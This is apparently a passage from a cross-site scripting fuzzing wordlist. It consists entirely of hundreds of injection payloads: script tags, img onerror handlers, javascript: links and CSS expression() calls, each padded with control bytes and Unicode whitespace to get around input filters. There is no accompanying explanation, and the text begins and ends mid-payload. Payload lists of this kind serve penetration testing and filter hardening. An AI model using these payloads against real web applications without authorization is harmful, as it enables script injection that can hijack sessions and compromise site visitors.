javascript:alert(1);}</script>\r\n'><script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}</script>\r\n'`\"><\\x3Cscript>javascript:alert(1)</script>\r\n\"'`><\\x3Cimg src=xxx:x onerror=javascript:alert(1)>\r\n\"'`><\\x00img src=xxx:x onerror=javascript:alert(1)>\r\n<script src=\"data:text/plain\\x2Cjavascript:alert(1)\"></script>\r\n\"><script src=\"data:text/plain\\x2Cjavascript:alert(1)\"></script>\r\n'><script src=\"data:text/plain\\x2Cjavascript:alert(1)\"></script>\r\n<script src=\"data:\\xD4\\x8F,javascript:alert(1)\"></script>\r\n\"><script src=\"data:\\xD4\\x8F,javascript:alert(1)\"></script>\r\n'><script src=\"data:\\xD4\\x8F,javascript:alert(1)\"></script>\r\n<script src=\"data:\\xE0\\xA4\\x98,javascript:alert(1)\"></script>\r\n\"><script src=\"data:\\xE0\\xA4\\x98,javascript:alert(1)\"></script>\r\n'><script src=\"data:\\xE0\\xA4\\x98,javascript:alert(1)\"></script>\r\n<script src=\"data:\\xCB\\x8F,javascript:alert(1)\"></script>\r\n\"><script src=\"data:\\xCB\\x8F,javascript:alert(1)\"></script>\r\n'><script src=\"data:\\xCB\\x8F,javascript:alert(1)\"></script>\r\nABC<div style=\"x\\x3Aexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:expression\\x5C(javascript:alert(1)\">DEF\r\nABC<div style=\"x:expression\\x00(javascript:alert(1)\">DEF\r\nABC<div style=\"x:exp\\x00ression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:exp\\x5Cression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x0Aexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x09expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE3\\x80\\x80expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x84expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xC2\\xA0expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x80expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x8Aexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x0Dexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x0Cexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x87expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xEF\\xBB\\xBFexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x20expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x88expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x00expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x8Bexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x86expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x85expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x82expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\x0Bexpression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x81expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x83expression(javascript:alert(1)\">DEF\r\nABC<div style=\"x:\\xE2\\x80\\x89expression(javascript:alert(1)\">DEF\r\n<a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n`\"'><img src=xxx:x \\x0Aonerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x22onerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x0Bonerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x0Donerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x2Fonerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x09onerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x0Conerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x00onerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x27onerror=javascript:alert(1)>\r\n`\"'><img src=xxx:x \\x20onerror=javascript:alert(1)>\r\n`\"'><img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n\"><img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n'><img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n<img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n\"><img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n'><img src=x onerror=javascript:alert(&#039;1&#039;)>\r\n\"`'><script>\\x3Bjavascript:alert(1)</script>\r\n\"`'><script>\\x0Djavascript:alert(1)</script>\r\n\"`'><script>\\xEF\\xBB\\xBFjavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x81javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x84javascript:alert(1)</script>\r\n\"`'><script>\\xE3\\x80\\x80javascript:alert(1)</script>\r\n\"`'><script>\\x09javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x89javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x85javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x88javascript:alert(1)</script>\r\n\"`'><script>\\x00javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\xA8javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x8Ajavascript:alert(1)</script>\r\n\"`'><script>\\xE1\\x9A\\x80javascript:alert(1)</script>\r\n\"`'><script>\\x0Cjavascript:alert(1)</script>\r\n\"`'><script>\\x2Bjavascript:alert(1)</script>\r\n\"`'><script>\\xF0\\x90\\x96\\x9Ajavascript:alert(1)</script>\r\n\"`'><script>-javascript:alert(1)</script>\r\n\"`'><script>\\x0Ajavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\xAFjavascript:alert(1)</script>\r\n\"`'><script>\\x7Ejavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x87javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x81\\x9Fjavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\xA9javascript:alert(1)</script>\r\n\"`'><script>\\xC2\\x85javascript:alert(1)</script>\r\n\"`'><script>\\xEF\\xBF\\xAEjavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x83javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x8Bjavascript:alert(1)</script>\r\n\"`'><script>\\xEF\\xBF\\xBEjavascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x80javascript:alert(1)</script>\r\n\"`'><script>\\x21javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x82javascript:alert(1)</script>\r\n\"`'><script>\\xE2\\x80\\x86javascript:alert(1)</script>\r\n\"`'><script>\\xE1\\xA0\\x8Ejavascript:alert(1)</script>\r\n\"`'><script>\\x0Bjavascript:alert(1)</script>\r\n\"`'><script>\\x20javascript:alert(1)</script>\r\n\"`'><script>\\xC2\\xA0javascript:alert(1)</script>\r\n\"/><img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n\"><img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n'><img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n\"/><img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n\"><img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n'><img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n\"/><img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n\"><img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n'><img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n\"/><img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n\"><img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n'><img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n\"/><img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n\"><img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n'><img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n\"/><img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n\"><img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n'><img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n\"/><img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n\"><img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n'><img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n\"/><img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n\"><img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n'><img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n\"/><img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n\"><img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n'><img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n<img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n\"><img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n'><img/onerror=\\x0Bjavascript:alert(1)\\x0Bsrc=xxx:x />\r\n<img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n\"><img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n'><img/onerror=\\x22javascript:alert(1)\\x22src=xxx:x />\r\n<img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n\"><img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n'><img/onerror=\\x09javascript:alert(1)\\x09src=xxx:x />\r\n<img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n\"><img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n'><img/onerror=\\x27javascript:alert(1)\\x27src=xxx:x />\r\n<img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n\"><img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n'><img/onerror=\\x0Ajavascript:alert(1)\\x0Asrc=xxx:x />\r\n<img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n\"><img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n'><img/onerror=\\x0Cjavascript:alert(1)\\x0Csrc=xxx:x />\r\n<img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n\"><img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n'><img/onerror=\\x0Djavascript:alert(1)\\x0Dsrc=xxx:x />\r\n<img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n\"><img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n'><img/onerror=\\x60javascript:alert(1)\\x60src=xxx:x />\r\n<img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n\"><img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n'><img/onerror=\\x20javascript:alert(1)\\x20src=xxx:x />\r\n<script\\x2F>javascript:alert(1)</script>\r\n\"><script\\x2F>javascript:alert(1)</script>\r\n'><script\\x2F>javascript:alert(1)</script>\r\n<script\\x20>javascript:alert(1)</script>\r\n\"><script\\x20>javascript:alert(1)</script>\r\n'><script\\x20>javascript:alert(1)</script>\r\n<script\\x0D>javascript:alert(1)</script>\r\n\"><script\\x0D>javascript:alert(1)</script>\r\n'><script\\x0D>javascript:alert(1)</script>\r\n<script\\x0A>javascript:alert(1)</script>\r\n\"><script\\x0A>javascript:alert(1)</script>\r\n'><script\\x0A>javascript:alert(1)</script>\r\n<script\\x0C>javascript:alert(1)</script>\r\n\"><script\\x0C>javascript:alert(1)</script>\r\n'><script\\x0C>javascript:alert(1)</script>\r\n<script\\x00>javascript:alert(1)</script>\r\n\"><script\\x00>javascript:alert(1)</script>\r\n'><script\\x00>javascript:alert(1)</script>\r\n<script\\x09>javascript:alert(1)</script>\r\n\"><script\\x09>javascript:alert(1)</script>\r\n'><script\\x09>javascript:alert(1